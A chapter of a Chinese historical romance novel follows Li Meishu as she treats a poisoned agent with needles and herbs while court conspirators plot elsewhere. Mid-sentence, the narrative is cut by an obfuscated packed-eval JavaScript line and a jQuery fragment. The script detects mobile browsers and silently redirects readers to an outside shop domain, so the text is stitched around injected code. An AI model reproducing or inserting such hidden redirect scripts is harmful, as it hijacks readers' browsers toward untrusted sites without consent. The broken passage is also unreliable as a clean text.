一场雨过后,城郊的柳树都垂下了枝条,再过几日便被人们戴在头上,沿着山路送到彼岸的亲人身边。
落在叶上的雨水滴落,赫业竹隐在一棵茂密的树上,不细看根本发现不了他的身影。
而在一条不起眼的小道上,传来辘辘的车轮声,一辆封闭的马车正往前驶来。四周的人皆是柴夫模样,为首的脸上带有狰狞的疤痕。
赫业竹细眯起眼睛看着,接着悄然退至树后,消失在那棵树上,在那行人身后不远处悄悄的跟着。
以赫业竹的经验来看,这一行人绝非普通的柴夫,而正如他所猜想的那一般,就在他跟上队伍没走多远的时候,那行人就靠在一旁停了下来。
”蔡大人,怎么突然停下了?”
一名离那刀疤脸很近的柴夫打扮人问道。
蔡奎用余光瞟了瞟身后某棵树的位置,以低沉的嗓音对那柴夫打扮的人说道:
”有只野兽跟来了,去喂饱他。”
听到蔡奎话语的柴夫立即换上警惕的表情,一手握住身侧的刀,挥着手招呼着其他同样柴夫打扮的同伙。
“麻利些,这几日不能闹出太大动静。”
蔡奎低声说道,那些柴夫了然般的从怀里掏出一枚枚泛着寒光的三棱飞镖缓缓靠近赫业竹藏匿的那棵树下,只听急速的呼啸声发出,接着金属碰撞发出的叮当响声在山林里激荡。
赫业竹持剑挥舞着抵挡那四面八方的飞镖,但对方人多势众,且都训练有素,竟让他落了下风。
只见赫业竹抬手将迎面而来的飞镖打掉,却来不及挡住接下来的那一枚,只听撕拉一声,赫业竹的面巾连带着脸上的人皮面具都被划破,瞬间透出血来。
眼见寡不敌众,赫业竹立即翻身逃跑,最后躲在一处山坡之下才保住了性命,回到云昭府时已经伤痕累累。
府中人见此情景骇了一跳,连忙请大夫,于是在赵驰昭上朝归来时便看到这般令他心头一颤的场景。
赫业竹见到赵驰昭,连忙下床行礼,却由此拉扯到了伤口,龇牙咧嘴的嘶了一声。
“不必多礼,这是怎么回事?”赵驰昭赶忙将人扶回床上,沉着脸问道,于是赫业竹便将发生的事告诉了赵驰昭。
“对方并非一般武夫,和大人先前遇到的那帮人一样,更像是特地训练出来的。”
赫业竹在晕倒之前,对赵驰昭说道。
赵驰昭面若幽潭,看着床上嘴唇青紫的人,随即唤来下属低声吩咐着什么,自己则换上装束踏出云昭府。
细柳扶风,与孙氏忙碌的身影不同,此刻李媚姝正在自己的小院,教着千红读书认字。
“这几个字,现在可记得了?”,李媚姝指着纸上的几个字,对千红问道。
千红点点头,李媚姝随即将字盖住,让她在纸上写出,一上午的时间过去,千红已经写下了十几张纸的字了,这速度让李媚姝十分惊愕。
“小姐,府外有人求见,说是小姐的朋友?”
李媚姝愕然,随即问道对方是男是女,得到的男性答复后,李媚姝一喜,以为是赵驰昭,转念一想又觉得不太可能,但自己又没有别的异性朋友,难免有些疑虑起来。
莫不是原主认识的人?
李媚姝往府外走时,脑中突然蹦出这个想法,不禁身躯一颤,开始想着应对之法。
但看到府外站着的人时,李媚姝面色一惊,随即跑到那人身边,叫道:
“昭哥哥,竟是你?你怎么突然来找我了?”
此时赵驰昭面色紧促,一见到李媚姝就问道:
“不知小姐现在能否随我走一趟?”
看着对方焦急的神情,李媚姝随意和侍女扯了个谎,就跟着赵驰昭走了。
俩人来到大佛寺内,赵驰昭将她带到自己的厢房内,推开门,李媚姝看到床上躺着一个玄色衣袍的魁梧男人,此刻正面色乌紫的躺在床上,与当时赵驰昭中毒的迹象如出一辙。
“这是……”
李媚姝向赵驰昭问道,赵驰昭立马解释道:
“这是我的一个兄弟,中了血喉毒,小姐当初既能替我解这毒,那今日定能替我兄弟解毒,昭某再次恳请小姐帮我。”
说罢,赵驰昭朝着李媚姝深深地鞠了一躬。
李媚姝大惊,赶忙说道:
“既然是昭哥哥的兄弟,那么媚儿于情于理都会帮昭哥哥这个忙,只是这毒的凶险你也知道,媚儿没有太大的把握能完全解了这位哥哥的毒。”
“生死有命,小姐尽力就好。”,赵驰昭看着李媚姝的眼睛,重重说到。
既然对方已经说到这份上了,李媚姝也不好再多说什么,立马撸起袖子挽起袖子开始观察起赫业竹的情况来。
不幸的是,当初李媚姝完全是照着医书来替赵驰昭解毒的,虽有经验但她心里也是在没谱。
但经过她的一番仔细的查看之后,在心底悄悄的松了一口气,因为比起赵驰昭,身下这位中毒的程度远低于赵驰昭,于是李媚姝开始替赫业竹解毒。
银针扎在赫业竹不同的穴位,再将针拔出时随着针孔冒出点点黑色的血液来,身下此人立即发出痛苦的呻吟。
李媚姝赶紧将提前熬好的药给人灌下,接着又拿起针朝人扎去,如此反复,直到日薄西山,赫业竹的面色才逐渐好转起来。
李媚姝擦了擦额头冒出的细汗,长舒了一口气。
“昭哥哥,这位哥哥暂时没有大碍了,只不过之后体内的余毒还得依靠一些药来调理,我这就将药方写出来。”
李媚姝对着赵驰昭说道,随即便拿起笔来给赵驰昭写出药方。
但长时间持着细针让李媚姝的手有些酸痛,竟一时握不住笔,掉落在李媚姝身上,墨水将她的衣裙弄脏。
赵驰昭见状,立马接过毛笔说道:
“小姐辛苦了,还是在下来写吧,小姐只管说就好了。”
李媚姝拍了拍身上的墨迹,无奈地叹了一口气,开始报出药方的内容以及注意事项。
将衣裙上的墨迹清理了一番之后,李媚姝便在赵驰昭的护送下回到了李府。
“多谢小姐,今日大恩,在下定会报答。”
李媚姝笑道:
“昭哥哥不必客气。”
但心里却腹诽道:
先把我的裙子赔了吧。可怜我这身美丽的衣裳,不知道能不能洗干净。
二人告了别,李媚姝转身回府,看着对方离去的背影,赵驰昭张了张口,但又把话咽了下去,转身回到了大佛寺。
回到府中的李媚姝赶紧让千红将自己的衣裙拿去浣洗,自己则连吃了好几块糕点才平息掉对自己爱衣被弄脏的愤懑,不禁开始对赵驰昭的身份进行了怀疑。
他到底是不是什么大人物啊,说不定真的就是个江湖游侠而已,我一开始会不会赌错了。
一口饮尽杯中的橘子茶,李媚姝闷闷的想着。
“小姐,大夫人唤你到院中用膳。”
千红在门外说道。
“知道了,这就来。”,李媚姝将手中的糕点一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548223|204243||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
扔,拍拍手往孙氏的院子走去。
“爹,娘。咦,大哥哥也回来了?”
李媚姝来到大娘子孙氏的院中,看到大哥李阳也在,惊讶道。
李阳朝着小妹李媚姝轻轻一笑,说道:
“小妹气色变得越来越好了。”
此时二哥李长青也从门外走进,向着桌上的三个长辈行礼,随即便坐了下来,接着府中的两个姨娘华氏和张氏也先后来到了院里,一桌上除了嫁出去的长姐外,都来到了桌上,一家子其乐融融。
饭桌上,李太医李缚问起长子和次子的近况,又问了小儿子李仁的读书情况,随后说道:
“媚儿,过几日你随仁儿一起,回常州外祖家祭祖吧。”
李媚姝筷子一顿,问道:
“就我和仁儿吗?”
孙氏替李缚盛了碗汤,笑着回道:
“还有你大姐姐,已经提前一日回去了。”
“那爹和娘不一起去吗?哥哥们呢?”
李媚姝看向两位哥哥,二哥李长青说道:
“我和大哥还有公务在身,你之前体弱,现在恢复了,就回去看看吧。”
李媚姝闻言,抿嘴沉思,总觉得这和睦的表面之下藏着自己一些自己不知道的事情,但他们不愿告诉自己。
当夜幕降临,太常寺在流水道观将皇室即将进行斋戒的事宜布置好,平炀道长拜别礼部大小官员后命人将道观的门锁好,便回到自己的厢房之内,直到整座道观都暗了下来,躲在隐秘之处的赵驰昭才摸着墙走出。
在道观之上翻越了几下后,赵驰昭眼眸一转,随即往外跃去。
就在赵驰昭离开的一盏茶时间内,道观中某一处亮起了烛光,将屋内的人影拉长。
“你是说被人发现了?”,太师椅上,一个看不清面容的人正把持着手里的小型玉石貔貅,幽幽问道。
而跪在下方的人听到此话,身子开始止不住地颤抖起来。
“大人,现在还不是惩治的时候,还是先想想该怎么将人移走吧。”
一旁一个声音沙哑的人说道,而跪在下面的人听到此话,赶忙说道:
“那人中了血喉毒,定活不过三日,大人不必担心。”
那太师椅上的人转了转身子,看着下面因恐惧而不敢抬头发颤的一群人,说道:
“也是,想来不会有人找到这里的,不过,蔡奎,在你手下放跑的人,你说该怎么罚你才好呢?“
淡淡的一句话落在蔡奎耳中,犹如地府的阎王索命一般让他无法呼吸,冷汗顺着鼻尖滴在地上,映出他满是惊恐的双眼。
而远在皇城之内,一位姿态妩媚的妇人正为一位知命之年的人捏着肩,语气娇媚柔软的在此人耳边说道:
“鸿儿还小,臣妾还是不忍让他离开臣妾身边,皇上就答应臣妾吧。”
赵皇拍着万贵妃的手一脸惬意,用着看似责怪实则宠溺的语气说道:
“你啊,那便让老六去吧。”
闻言,万贵妃趴在赵皇肩上,笑吟吟的说道:
“臣妾谢过陛下。”
临近清明,京城的夜比白天来到热闹,灯火通明,各式的表演在街边进行着。
没人会注意到,一个背着布袋的身影正往着李府的方向飞去,此时李媚姝刚让千红念完最后一句诗,离开的千红将房里的蜡烛熄灭,李媚姝和衣睡下。
咚咚咚,窗边传来敲打的声音,李媚姝脑海里嗡的一声,倏然睁开双眼望向窗口,此时,一个黑影正站在窗外。